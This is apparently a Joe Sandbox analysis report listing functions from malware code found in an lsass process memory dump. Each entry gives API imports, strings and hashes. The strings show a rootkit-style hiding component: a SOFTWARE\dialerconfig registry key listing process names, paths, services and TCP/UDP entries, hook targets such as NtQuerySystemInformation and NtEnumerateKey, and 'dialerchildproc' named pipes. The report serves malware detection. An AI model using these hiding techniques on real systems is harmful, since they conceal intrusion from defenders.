Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2631CC7128074181FF529B27DA513E963A5AB8CBE4F2858219F1E877B7EF34CC51C292

Function 00000140ADFC273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000140ADFC285E

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 06fb5e1ef4416040f010e1a7d6ba73e71e6e03eebacef6a42692c0d9d5c867cd
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 10610732B2179887DB65CF1690407AE7393FB58B98F688121DF5907BD4DA38D863E700

Non-executed Functions

Function 00000140AE862B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000140AE862BD0
lstrlenW.KERNEL32 ref: 00000140AE862E0A

Part of subcall function 00000140AE86199C: OpenProcess.KERNEL32 ref: 00000140AE8619C2
Part of subcall function 00000140AE86199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
Part of subcall function 00000140AE86199C: PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
Part of subcall function 00000140AE86199C: lstrlenW.KERNEL32 ref: 00000140AE8619FB
Part of subcall function 00000140AE86199C: StrCpyW.SHLWAPI ref: 00000140AE861A0E
Part of subcall function 00000140AE86199C: CloseHandle.KERNEL32 ref: 00000140AE861A1C

GetProcAddress.KERNEL32 ref: 00000140AE862BE5

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

StrCmpNIW.SHLWAPI ref: 00000140AE862C28
lstrlenW.KERNEL32 ref: 00000140AE862D50

Strings

NtQueryObject, xrefs: 00000140AE862BDB
ntdll.dll, xrefs: 00000140AE862BC9
\Device\Nsi, xrefs: 00000140AE862C1B

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: bf2ef32ac57e5f465ce725a7a74baab9ea04f71ed1d086599ba6561ce8fa9f42
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 2AB19E72250B5486EB668F2BD4407E9A3A5FB48BA4F645066EF4D53BB5DF34CC40C382

Function 00000140AE867D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000140AE867DAC
RtlCaptureContext.NTDLL ref: 00000140AE867DD9
RtlLookupFunctionEntry.NTDLL ref: 00000140AE867DF3
RtlVirtualUnwind.NTDLL ref: 00000140AE867E34
IsDebuggerPresent.KERNEL32 ref: 00000140AE867E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EB4

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 1503c4d1f0e9a2face0525283fdd9087e61cbfeab21d2c89dc1035b309a16709
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 2131A372245B808AEB618F61E8407ED7361F788754F64442ADF4D47BA8EF38C948C790

Function 00000140AE86D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000140AE86D31D
RtlLookupFunctionEntry.NTDLL ref: 00000140AE86D335
RtlVirtualUnwind.NTDLL ref: 00000140AE86D370
IsDebuggerPresent.KERNEL32 ref: 00000140AE86D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3BE

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: f4b3617ef55b8c279f228a1357564ad9138b4f9cc27f1e8a361b5862f6d2fb0c
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 9C314E32654B8086EB619F26E8403DE73A4F789764F600125EF9D47BB8EF38C945CB81

Function 00000140AE861628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861633
HeapAlloc.KERNEL32 ref: 00000140AE861642

Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE86126E
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE86127D
Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE861297
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE8612A8

RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
RegCloseKey.ADVAPI32 ref: 00000140AE861734
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
RegCloseKey.ADVAPI32 ref: 00000140AE86176F
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA
RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
RegCloseKey.ADVAPI32 ref: 00000140AE861820
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
RegCloseKey.ADVAPI32 ref: 00000140AE86185B
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
RegCloseKey.ADVAPI32 ref: 00000140AE861896
RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Part of subcall function 00000140AE8612BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE861327
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE861338
Part of subcall function 00000140AE8612BC: RegEnumValueW.ADVAPI32 ref: 00000140AE861397
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE8613ED
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86140A
Part of subcall function 00000140AE8612BC: HeapFree.KERNEL32 ref: 00000140AE861418
Part of subcall function 00000140AE8612BC: lstrlenW.KERNEL32 ref: 00000140AE861421
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86142F
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE86143D

Strings

startup, xrefs: 00000140AE8616D5
pid, xrefs: 00000140AE861712
tcp_local, xrefs: 00000140AE8617FE
tcp_remote, xrefs: 00000140AE861839
process_names, xrefs: 00000140AE86174D
udp, xrefs: 00000140AE861874
SOFTWARE\dialerconfig, xrefs: 00000140AE861692
paths, xrefs: 00000140AE861788
service_names, xrefs: 00000140AE8617C3

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 4cb465b735a6020238bf1ea048d5c89955278629e63a0cab2664c088472f563d
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 5771E736750B10C6EB129F66E8906D933A5FB89BA8F201121DF4E97B79DF38C844C781

Function 00000140AE8612BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
GetProcessHeap.KERNEL32 ref: 00000140AE861327
HeapAlloc.KERNEL32 ref: 00000140AE861338
RegEnumValueW.ADVAPI32 ref: 00000140AE861397

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
HeapAlloc.KERNEL32 ref: 00000140AE8613ED
GetProcessHeap.KERNEL32 ref: 00000140AE86140A
HeapFree.KERNEL32 ref: 00000140AE861418
lstrlenW.KERNEL32 ref: 00000140AE861421
GetProcessHeap.KERNEL32 ref: 00000140AE86142F
HeapAlloc.KERNEL32 ref: 00000140AE86143D
StrCpyW.SHLWAPI ref: 00000140AE86145F
GetProcessHeap.KERNEL32 ref: 00000140AE861476
HeapFree.KERNEL32 ref: 00000140AE861484

Strings

d, xrefs: 00000140AE86135A

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eaf29793312f880262aa33c4d225e9377ef8ac7c3781aeeffa93a87445d713dc
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: B5516C32640B8486EB56CF62E54839AB7A1F78DBA9F244124DF4D07B29DF3CC445C791

Function 00000140AE861D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Part of subcall function 00000140AE861FD4: GetModuleHandleA.KERNEL32 ref: 00000140AE861FEC
Part of subcall function 00000140AE861FD4: GetProcAddress.KERNEL32 ref: 00000140AE861FFD

Part of subcall function 00000140AE865B30: GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B

Strings

EnumServiceGroupW, xrefs: 00000140AE861DF0
NtDeviceIoControlFile, xrefs: 00000140AE861E56
NtQueryDirectoryFileEx, xrefs: 00000140AE861D9C
advapi32.dll, xrefs: 00000140AE861DF7, 00000140AE861E18
ntdll.dll, xrefs: 00000140AE861D2D
NtResumeThread, xrefs: 00000140AE861D62
NtEnumerateKey, xrefs: 00000140AE861DB9
NtQueryDirectoryFile, xrefs: 00000140AE861D7F
NtEnumerateValueKey, xrefs: 00000140AE861DD6
NtQuerySystemInformation, xrefs: 00000140AE861D45
EnumServicesStatusExW, xrefs: 00000140AE861E11, 00000140AE861E32
sechost.dll, xrefs: 00000140AE861E39

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 2267be31c3c8b37de2fa04f2787d19f37c5545ab8d6e24567a23a1f44e334d39
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 3531A574580B4AA0EA07EB6BE8516E47321BB5D3B4FF05413AE0D131B69F788E49C3D2

Function 00000140ADFC6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140ADFC6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000140ADFC698A
_RTC_Initialize.LIBCMT ref: 00000140ADFC69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140ADFC69DE
__scrt_release_startup_lock.LIBCMT ref: 00000140ADFC6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 00000140ADFC69EE
`eh vector copy constructor iterator', xrefs: 00000140ADFC6A3B
scriptor', xrefs: 00000140ADFC6B39, 00000140ADFC6BB2, 00000140ADFC6BEC
`dynamic initializer for ', xrefs: 00000140ADFC69C7

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 79a856343edf9d6588f3d0cd2b4f253cfe509a1624521d714eea0eda72951458
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: FC81E23162834987F656AB6798403DB72A3EF8D784F3440259B69477B6DB38C867B300

Function 00000140AE86CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000140AE86CE37
FlsGetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE4C
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE6D
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE9A
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEAB
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEBC
SetLastError.KERNEL32 ref: 00000140AE86CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000140AE86ECCC,?,?,?,?,00000140AE86BF9F,?,?,?,?,?,00000140AE867AB0), ref: 00000140AE86CF2C

Part of subcall function 00000140AE86D6CC: HeapAlloc.KERNEL32 ref: 00000140AE86D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF54

Part of subcall function 00000140AE86D744: HeapFree.KERNEL32 ref: 00000140AE86D75A
Part of subcall function 00000140AE86D744: GetLastError.KERNEL32 ref: 00000140AE86D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF76

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: b2b40885048b18a77dd749f130d094d7928ae544b3603784d23cb63539606b23
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 0941183028174441FA6BAB6799553E922926B5C7B0F744B24AF3E4B6F6DE789C01C2C3

Function 00000140AE862244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000140AE862259
GetCurrentProcessId.KERNEL32 ref: 00000140AE862263

Part of subcall function 00000140AE861934: OpenProcess.KERNEL32 ref: 00000140AE861952
Part of subcall function 00000140AE861934: IsWow64Process.KERNEL32 ref: 00000140AE861968
Part of subcall function 00000140AE861934: CloseHandle.KERNEL32 ref: 00000140AE861983

CreateFileW.KERNEL32 ref: 00000140AE8622BC
WriteFile.KERNEL32 ref: 00000140AE8622E4
ReadFile.KERNEL32 ref: 00000140AE862303
CloseHandle.KERNEL32 ref: 00000140AE86230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000140AE862293
\\.\pipe\dialerchildproc64, xrefs: 00000140AE86228C

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: d526e0782f541ea269add2dfc30b9375b8e19e2713657146a865421fd34f2e67
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: FB213936654B40C2EB11CB26E54839A77A1F789BA4F600215EF5D03BB8CF3CC949CB41

Function 00000140AE86A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140AE86A5A1

Part of subcall function 00000140AE86B414: __GetUnwindTryBlock.LIBCMT ref: 00000140AE86B457
Part of subcall function 00000140AE86B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140AE86B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140AE86A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140AE86A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140AE86A9DA

Strings

csm, xrefs: 00000140AE86A69C
csm, xrefs: 00000140AE86A5BB
csm, xrefs: 00000140AE86A622

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 7b4ba636362c0b5caa681dd8b7c7e919a21c7b74d1dcc59cd2284cb1c0ce2a62
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 80E1B5726447408AEB62DF66D4803DD77A0F74DBA8F200156EF9D57BA9CB38C881D782

Function 00000140ADFC9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140ADFC99A1

Part of subcall function 00000140ADFCA814: __GetUnwindTryBlock.LIBCMT ref: 00000140ADFCA857
Part of subcall function 00000140ADFCA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140ADFCA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140ADFC9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140ADFC9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140ADFC9DDA

Strings

csm, xrefs: 00000140ADFC9A22
csm, xrefs: 00000140ADFC99BB
csm, xrefs: 00000140ADFC9A9C

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 610288a21bba7234f961b83c38f566fdeb512e40ac2c0f228fa86b943482e177
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 21E1AE726247488BEB62DB26D4803DE37B3FB49B89F200115EF8957BA5DB34C1A2D700

Function 00000140AE86F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000140AE86F510
GetProcAddress.KERNEL32 ref: 00000140AE86F51C

Strings

ext-ms-, xrefs: 00000140AE86F46D
api-ms-, xrefs: 00000140AE86F45A

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 54f3c5caea9a3c542447f16078fc342d6fc1075fabbd0ba72b9af9b604dcfd33
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 0A41AE32391B0082EB27CF17A9047D56391BB4DBB0F7945259E0E97BA4EE38CC45D392

Function 00000140AE86104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE8610B1
RegEnumValueW.ADVAPI32 ref: 00000140AE861117
GetProcessHeap.KERNEL32 ref: 00000140AE86115A
HeapAlloc.KERNEL32 ref: 00000140AE861168
GetProcessHeap.KERNEL32 ref: 00000140AE861185
HeapFree.KERNEL32 ref: 00000140AE861193

Strings

d, xrefs: 00000140AE8610D6

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: f351be34048a7ac2b0398fd5e5befab81f97ba1f80314118af7c8759807b7470
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 54415B32614B84C6E761CF22E44439A77B1F389BA8F248129DF8D07B68DF38C849CB41

Function 00000140AE86D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D087
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0A6
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0CE
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0DF
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0F0

Strings

Y%, xrefs: 00000140AE86D0A6
1%, xrefs: 00000140AE86D0CE

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5fd4451407afae9fb266b5747a94aa354b26cb0abe68d3eef0f402a98e977e8e
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D1114C3068434441FA6AAB275A513E962516B5C7F0F785B24AE3D076FEDE78DC02C683

Function 00000140AE867510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140AE867538
__scrt_acquire_startup_lock.LIBCMT ref: 00000140AE86758A
_RTC_Initialize.LIBCMT ref: 00000140AE8675B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140AE8675DE
__scrt_release_startup_lock.LIBCMT ref: 00000140AE867609

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 65cc65eb12478eed7e59dbe5af20ea895e9a9811b6e8982f7201964f625eb0cd
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
